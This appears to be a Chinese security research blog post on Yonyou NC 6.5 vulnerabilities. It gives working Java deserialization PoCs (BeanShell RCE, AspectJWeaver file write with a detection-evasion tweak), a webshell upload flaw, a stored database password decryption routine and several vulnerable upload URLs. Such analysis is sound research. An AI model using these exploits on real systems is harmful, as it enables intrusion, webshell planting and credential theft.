用友NC在java反序列化中也算典型的例子了,就简单的看一下
环境搭建参考:用友nc6.5详细安装过程 用友6.5安装及配置注意要点
注意在配置数据源时,需要将 sqljdbc4.jar 包复制到 jdk/lib 目录下 添加远程调试:-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
漏洞分析 先看看关键路由,在webapps/nc_web/WEB-INF/web.xml
1 2 3 4 <servlet > <servlet-name > NCInvokerServlet</servlet-name > <servlet-class > nc.bs.framework.server.InvokerServlet</servlet-class > </servlet >
发现 service 和 servlet 均由 NCInvokerServlet 处理 跟进到lib/fwserver.jar的nc.bs.framework.server.InvokerServlet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 private void doAction (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String token = this .getParamValue(request, "security_token" ); String userCode = this .getParamValue(request, "user_code" ); if (userCode != null ) { InvocationInfoProxy.getInstance().setUserCode(userCode); } if (token != null ) { NetStreamContext.setToken(KeyUtil.decodeToken(token)); } String pathInfo = request.getPathInfo(); log.debug("Before Invoke: " + pathInfo); long requestTime = System.currentTimeMillis(); try { if (pathInfo == null ) { throw new ServletException ("Service name is not specified, pathInfo is null" ); } pathInfo = pathInfo.trim(); String moduleName = null ; String serviceName = null ; int beginIndex; if (pathInfo.startsWith("/~" )) { moduleName = pathInfo.substring(2 ); beginIndex = moduleName.indexOf("/" ); if (beginIndex >= 0 ) { serviceName = moduleName.substring(beginIndex); if (beginIndex > 0 ) { moduleName = moduleName.substring(0 , beginIndex); } else { moduleName = null ; } } else { moduleName = null ; serviceName = pathInfo; } } else { serviceName = pathInfo; } if (serviceName == null ) { throw new ServletException ("Service name is not specified" ); } beginIndex = serviceName.indexOf("/" ); if (beginIndex < 0 || beginIndex >= serviceName.length() - 1 ) { throw new ServletException ("Service name is not specified" ); } serviceName = serviceName.substring(beginIndex + 1 ); Object obj = null ; String msg; try { obj = this .getServiceObject(moduleName, serviceName); } catch (ComponentException var76) { msg = svcNotFoundMsgFormat.format(new Object []{serviceName}); Logger.error(msg, var76); throw new ServletException (msg); }
获得 pathinfo 后,如果是以/~开头,截取第一部分为 moduleName,然后再截取第二部分为 serviceName,再根据getServiceObject(moduleName, serviceName)实现任意 Servlet 调用 所以说有三种触发方法:
1 2 3 /servlet/monitorservlet /servlet/~ic/MonitorServlet /servlet/~ic/nc.bs.framework.mx.monitor.MonitorServlet
BeanShell反序列化 网上基本都是关于 CNVD-2021-30167 的,但其实 BeanShell 也存在反序列化漏洞
看到bsh.XThis,它是bsh.This对象的子类,在 This 的基础上添加了通用接口代理机制的支持,也就是 InvocationHandler,XThis 中有一个内部类 Handler,实现了 InvocationHandler 接口并重写了 invoke 方法
它调用了 invokeImpl 方法
调用 invokeMethod 执行对应的方法
我们可以使用 XThis 中的 Handler 来动态代理 Comparator ,这样在反序列化 PriorityQueue 时会触发 Comparator 的 compare 方法,会调用 XThis 中 Handler 的 invoke 方法,由于这个动态代理类可以调用 Bsh 脚本中的方法,我们可以提前在 XThis 中的 NameSpace 中定义好一个 compare 方法,这样在就能在动态代理中完成调用
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 import bsh.Interpreter;import bsh.NameSpace;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.*;import java.util.Comparator;import java.util.PriorityQueue;public class BeanShell { public static void main (String[] args) throws Exception{ String compareMethod = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{\"calc\"}).start();return new Integer(1);}" ; Interpreter interpreter = new Interpreter (); interpreter.eval(compareMethod); Class clz = Class.forName("bsh.XThis" ); Constructor constructor = clz.getDeclaredConstructor(NameSpace.class, Interpreter.class); constructor.setAccessible(true ); Object xt = constructor.newInstance(interpreter.getNameSpace(),interpreter); InvocationHandler handler = (InvocationHandler) getField(xt.getClass(), "invocationHandler" ).get(xt); Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class <?>[]{Comparator.class}, handler); final PriorityQueue<Object> priorityQueue = new PriorityQueue <Object>(2 , comparator); Object[] queue = new Object [] {1 ,1 }; setFieldValue(priorityQueue, "queue" , queue); setFieldValue(priorityQueue, "size" , 2 ); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(priorityQueue); oos.close(); ByteArrayInputStream bais = new ByteArrayInputStream (barr.toByteArray()); ObjectInputStream ois = new ObjectInputStream (bais); ois.readObject(); ois.close(); } public static Field getField (final Class<?> clazz, final String fieldName) { Field field = null ; try { field = clazz.getDeclaredField(fieldName); setAccessible(field); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); } return field; } public static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static void setAccessible (AccessibleObject member) { member.setAccessible(true ); } }
最终调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 start:1005, ProcessBuilder (java.lang) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:57, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:606, Method (java.lang.reflect) invokeOnMethod:-1, Reflect (bsh) invokeObjectMethod:-1, Reflect (bsh) doName:-1, BSHPrimarySuffix (bsh) doSuffix:-1, BSHPrimarySuffix (bsh) eval:-1, BSHPrimaryExpression (bsh) eval:-1, BSHPrimaryExpression (bsh) evalBlock:-1, BSHBlock (bsh) eval:-1, BSHBlock (bsh) invokeImpl:-1, BshMethod (bsh) invoke:-1, BshMethod (bsh) invoke:-1, BshMethod (bsh) invokeMethod:-1, This (bsh) invokeMethod:-1, This (bsh) invokeImpl:-1, XThis$Handler (bsh) invoke:-1, XThis$Handler (bsh) compare:-1, $Proxy1 (com.sun.proxy) siftDownUsingComparator:699, PriorityQueue (java.util) siftDown:667, PriorityQueue (java.util) heapify:713, PriorityQueue (java.util) readObject:773, PriorityQueue (java.util)
漏洞修复:https://github.com/beanshell/beanshell/commit/1ccc66bb693d4e46a34a904db8eeff07808d2ced
移除了 Handler 类的 Serializable 接口
参考:ysoserial-beanshell(CVE-2016-2510) Java 反序列化漏洞(五) - ROME/BeanShell/C3P0/Clojure/Click/Vaadin
AspectJWeaver反序列化 发现存在依赖 aspectjweaver-1.7.4.jar ,配合 commons-collections 存在一个 non RCE 的任意文件写利用链
在类org.aspectj.weaver.tools.cache.SimpleCache中有一个继承 HashMap 的内部类 StoreableCachingMap
它重写了 HashMap 的 put 方法,传入的 key 为文件名,value 为写入文件的内容
跟进 writeToPath 方法
写入文件的路径为this.folder + File.separator + key,所以说只要能触发SimpleCache$StoreableCachingMap的 put 方法就能执行写文件操作
在org.apache.commons.collections.map.LazyMap的 get 方法中调用了 put 方法
最终的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.AccessibleObject;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.nio.charset.StandardCharsets;import java.util.HashMap;import java.util.HashSet;import java.util.Map;public class AspectJWeaver { public static void main (String[] args) throws Exception{ String filename = "test.jsp" ; String filepath = "./" ; String filecontent = "test123" ; Constructor ctor = getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap" ); Object simpleCache = ctor.newInstance(filepath, 12 ); Transformer ct = new ConstantTransformer (filecontent.getBytes(StandardCharsets.UTF_8)); Map lazyMap = LazyMap.decorate((Map)simpleCache, ct); TiedMapEntry entry = new TiedMapEntry (lazyMap, filename); HashSet map = new HashSet (1 ); map.add("foo" ); Field f = null ; try { f = HashSet.class.getDeclaredField("map" ); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap" ); } setAccessible(f); HashMap innimpl = (HashMap) f.get(map); Field f2 = null ; try { f2 = HashMap.class.getDeclaredField("table" ); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData" ); } setAccessible(f2); Object[] array = (Object[]) f2.get(innimpl); Object node = array[0 ]; if (node == null ){ node = array[1 ]; } Field keyField = null ; try { keyField = node.getClass().getDeclaredField("key" ); }catch (Exception e){ keyField = Class.forName("java.util.MapEntry" ).getDeclaredField("key" ); } setAccessible(keyField); keyField.set(node, entry); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(map); oos.close(); ByteArrayInputStream bais = new ByteArrayInputStream (barr.toByteArray()); ObjectInputStream ois = new ObjectInputStream (bais); ois.readObject(); ois.close(); } public static Constructor<?> getFirstCtor(final String name) throws Exception { final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0 ]; setAccessible(ctor); return ctor; } public static void setAccessible (AccessibleObject member) { member.setAccessible(true ); } }
调用栈如下:
1 2 3 4 5 6 7 8 writeToPath:253, SimpleCache$StoreableCachingMap (org.aspectj.weaver.tools.cache) put:193, SimpleCache$StoreableCachingMap (org.aspectj.weaver.tools.cache) get:152, LazyMap (org.apache.commons.collections.map) getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue) hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue) hash:362, HashMap (java.util) put:492, HashMap (java.util) readObject:309, HashSet (java.util)
也可以将原来的
1 Transformer ct = new ConstantTransformer (filecontent.getBytes(StandardCharsets.UTF_8));
改写成
1 Transformer ct = new FactoryTransformer (new ConstantFactory (filecontent.getBytes(StandardCharsets.UTF_8)));
用来绕过一些特征检测
参考:自定义AspectJWeave gadget绕过serialKiller https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/AspectJWeaver.java
grouptemplet任意文件上传 漏洞补丁:https://security.yonyou.com/#/noticeInfo?id=364 漏洞描述:通过非法调用相关uapim接口构造恶意请求从而上传webshell实现任意文件上传
这个洞其实在2022年就爆出来了
看到hotwebs/uapim/WEB-INF/lib/uapim-server-core-0.0.1.jar,找到com.yonyou.uapim.web.controller.UploadController的 doGroupTempletUpload 方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 @RequestMapping( value = {"grouptemplet"}, method = {RequestMethod.POST} ) public Boolean doGroupTempletUpload (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String groupid = request.getParameter("groupid" ); String fileType = request.getParameter("fileType" ); String maxSize = request.getParameter("maxSize" ); String tempPath = XmlPathUtils.getHomeXMLPath("hotwebs-uapim-imfile-temp-" , (String)null ); String filePath = XmlPathUtils.getHomeXMLPath("hotwebs-uapim-static-pages-" + groupid + "-" , (String)null ); IMLogger.info("单据信息上传临时目录名:" + tempPath); IMLogger.info("单据信息上传真实目录名:" + filePath); DiskFileItemFactory factory = new DiskFileItemFactory (); factory.setSizeThreshold(10485760 ); factory.setRepository(new File (tempPath)); ServletFileUpload upload = new ServletFileUpload (factory); if (maxSize != null && !"" .equals(maxSize.trim())) { upload.setSizeMax((long )(Integer.valueOf(maxSize) * 1024 * 1024 )); } try { List<FileItem> items = upload.parseRequest(request); Iterator i$ = items.iterator(); while (true ) { FileItem item; do { if (!i$.hasNext()) { return null ; } item = (FileItem)i$.next(); } while (item.isFormField()); String fileName = item.getName(); String fileEnd = fileName.substring(fileName.lastIndexOf("." ) + 1 ).toLowerCase(); if (fileType != null && !"" .equals(fileType.trim())) { boolean isRealType = false ; String[] arrType = fileType.split("," ); String[] arr$ = arrType; int len$ = arrType.length; for (int i$ = 0 ; i$ < len$; ++i$) { String str = arr$[i$]; if (fileEnd.equals(str.toLowerCase())) { isRealType = true ; break ; } } if (!isRealType) { IMLogger.error("上传文件异常!文件格式不正确!" ); return null ; } } String uuid = "head" ; StringBuffer sbRealPath = new StringBuffer (); sbRealPath.append(filePath).append(uuid).append("." ).append(fileEnd); IMLogger.info("上传群组单据信息:" + sbRealPath.toString()); File file = new File (sbRealPath.toString()); FileUtil.makeDirectory(filePath); item.write(file); FileMeta filemeta = FileUploadService.upload((UFSClient)null , sbRealPath.toString()); String filePK = filemeta.getFilePK(); StringBuffer sb = new StringBuffer (); sb.append("window.returnValue='" ).append(fileName).append("," ).append(uuid).append("." ).append(fileEnd).append("," ).append(file.length()).append("';" ); sb.append("window.close();" ); IMLogger.info("上传文件成功,信息:" + sb.toString()); } } catch (Exception var22) { Exception e = var22; IMLogger.error("上传文件异常!上传失败:" + var22.toString(), var22); response.setHeader("state" , "fail" ); try { response.setHeader("error" , URLEncoder.encode(e.getMessage(), "UTF-8" )); } catch (UnsupportedEncodingException var21) { var21.printStackTrace(); } return null ; } }
发现文件后缀没有任何过滤,并且文件名也是固定值head
虽然显示 fail 了,但还是在hotwebs/uapim/static/pages/test成功写入shell
数据库解密 找到文件 ierp/bin/prop.xml,里面包含数据库的连接信息
1 2 3 4 5 <databaseUrl > jdbc:sqlserver://192.168.111.137:1433;database=nc65;sendStringParametersAsUnicode=true;responseBuffering=adaptive</databaseUrl > <user > sa</user > <password > fhkjjjimdphmoecm</password > <driverClassName > com.microsoft.sqlserver.jdbc.SQLServerDriver</driverClassName > <databaseType > SQLSERVER2008</databaseType >
发现密码被加密了,需要进行解密 系统会调用middleware/mw.jar中的nc.bs.mw.pm.MiddleProperty#decode()方法进行解密
反射调用了nc.vo.framework.rsa.Encode的 decode 方法 我们直接导入external/lib/basic.jar进行解密
1 2 3 4 5 6 7 8 import nc.vo.framework.rsa.Encode;public class DbPasswdDecode { public static void main (String[] args) { Encode en = new Encode (); System.out.println(en.decode("fhkjjjimdphmoecm" )); } }
总结 反序列化接口根据补丁还是很好找的,就不细说了,但利用需要相关的依赖,并不能通杀,所以接口再多也很鸡肋-v-
还有很多文件上传,都比较简单,就不多分析了 漏洞url:/mp/login/../uploadControl/uploadFile 漏洞补丁:https://security.yonyou.com/#/noticeInfo?id=342 漏洞描述:通过mp模块进行任意文件上传,从而上传webshell实现控制服务器,远程执行任意命令
漏洞url:/aim/equipmap/accept.jsp 漏洞补丁:https://security.yonyou.com/#/noticeInfo?id=281 漏洞描述:漏洞触发点在目标地址下/aim/equipmap/accept.jsp路径,构造POST数据包上传恶意文件
推荐一些技术文章:某NC系统的命令执行漏洞ActionInvokeService的分析 用友NC历史漏洞(含POC) 用友nc远程命令执行漏洞分析 yonyou的一处JNDI审计